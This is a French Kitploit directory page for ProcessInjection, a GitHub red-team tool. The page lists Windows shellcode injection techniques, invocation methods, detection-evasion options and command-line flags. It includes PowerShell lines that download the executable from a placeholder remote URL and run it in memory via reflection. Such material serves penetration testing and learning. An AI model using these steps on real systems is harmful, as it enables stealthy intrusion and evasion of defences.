Skip to content
KitploitKITPLOIT
OutilsBlog
Soumettre
OutilsBlog
Soumettre

Outils de Hacking, PenTest et Cybersécurité pour votre Arsenal de Sécurité !

Kitploit est un répertoire d'outils de hacking, de cybersécurité et de pentesting. Découvrez les dernières mises à jour des projets pour trouver des vulnérabilités, analyser des systèmes, automatiser les tests et renforcer votre sécurité.

··Flux·Contact·Confidentialité·© 2026 Kitploit

Répertoire d'outils

Catégories

Voir toutes les catégories
Loading categories
ProcessInjection — Ce programme est conçu pour démontrer diverses techniques d'injection de processus. | Kitploit
Outils/GitHubGitHub/3xpl01tc0d3r/processinjection
Escalade de PrivilègesOutils de Chiffrement/DéchiffrementExploitationÉvasion IDS/IPSPost-ExploitationApprentissage et ÉducationRed TeamingExploitation de Binaires
GitHub3xpl01tc0d3r/processinjection

ProcessInjection

Ce programme est conçu pour démontrer diverses techniques d'injection de processus.

Voir le dépôt
1.3k1914il y a 1 anVérifié par Kitploit

Populaires

Voir tout →

Découvrez les outils les plus utilisés par notre communauté.

Explorer tous les outils

Parcourez notre collection d'outils

Voir tous les outils →
Partager

ProcessInjection


Le programme est conçu pour effectuer une injection de processus. Actuellement, l'outil prend en charge 5 techniques d'injection de processus.

root@kitploit:~
1) Vanilla Process Injection
2) DLL Injection
3) Process Hollowing
4) APC Queue
5) KernelCallbackTable Injection

L'outil accepte le shellcode dans 4 formats.

root@kitploit:~
1) base64
2) hex
3) c
4) raw

L'outil prend en charge 4 méthodes pour effectuer une injection de processus.

root@kitploit:~
1) P/Invoke
2) D/Invoke
3) Direct Syscalls
4) Indirect Syscalls

Supporte 3 techniques d'évasion de détection.

root@kitploit:~
1) Parent PID Spoofing

Encryption
2) XOR Encryption (It can also be used with Parent PID Spoofing technique but can't be used with DLL Injection Technique)
3) AES Encryption (It can also be used with Parent PID Spoofing technique but can't be used with DLL Injection Technique)

Peut être chargé via la réflexion.

root@kitploit:~
# Load from the disk
[System.Reflection.Assembly]:https://raw.githubusercontent.com/3xpl01tc0d3r/processinjection/master/:Load(%5BSystem.IO.File%5D::ReadAllBytes(%22ProcessInjection.exe%22))

# Load from a remote server
[System.Reflection.Assembly]::Load((New-Object Net.WebClient).DownloadData("http://<URL>/ProcessInjection.exe"))

# Perform process injection
[ProcessInjection.ProcessInjection]::Main(@("/t:1", "/f:base64", "/pid:<ProcessId>", "/sc:<ShellCode>"))

Utilisation en ligne de commande

root@kitploit:~
Usage           Description
-----           -----------
/t              Specify the process injection technique id.
                1 = Vanilla Process Injection
                2 = DLL Injection
                3 = Process Hollowing
                4 = APC Queue Injection
				5 = KernelCallbackTable Injection
/m              Specify the method to be used
                p = P/Invoke (Default)
                d = D/Invoke
		ds = Direct Syscalls
		ids = Indirect Syscalls
/f              Specify the format of the shellcode.
                base64
                hex
                c
                raw
/pid            Specify the process id.
/parentproc     Specify the parent process name.
/path           Specify the path of the file that contains the shellcode.
/ppath          Specify the path of the executable that will be spawned (Mandatory while using /parentproc argument).
/url            Specify the url where the shellcode is hosted.
/enc            Specify the encryption type (aes or xor) in which the shellcode is encrypted.
/key            Specify the key that will be used to decrypt the shellcode.
/sc             Specify the shellcode directly in base64 or hex format. Note: To pass large shellcode please leverage reflection to run the program.  
/help           Show help

Article de blog

https://3xpl01tc0d3r.blogspot.com/2019/08/process-injection-part-i.html

https://3xpl01tc0d3r.blogspot.com/2019/09/process-injection-part-ii.html

https://3xpl01tc0d3r.blogspot.com/2019/10/process-injection-part-iii.html

https://medium.com/@r3n_hat/parent-pid-spoofing-b0b17317168e

https://3xpl01tc0d3r.blogspot.com/2019/12/process-injection-part-v.html

https://3xpl01tc0d3r.blogspot.com/2020/08/process-injection-tool-updates.html

Crédits de contribution

Renos

Les crédits vont également à :

Aaron Bray & Rasta Mouse pour le code de Process Hollowing

The Wover & b33f pour Dynamic Invoke - (https://thewover.github.io/Dynamic-Invoke/)

Télécharger l’outil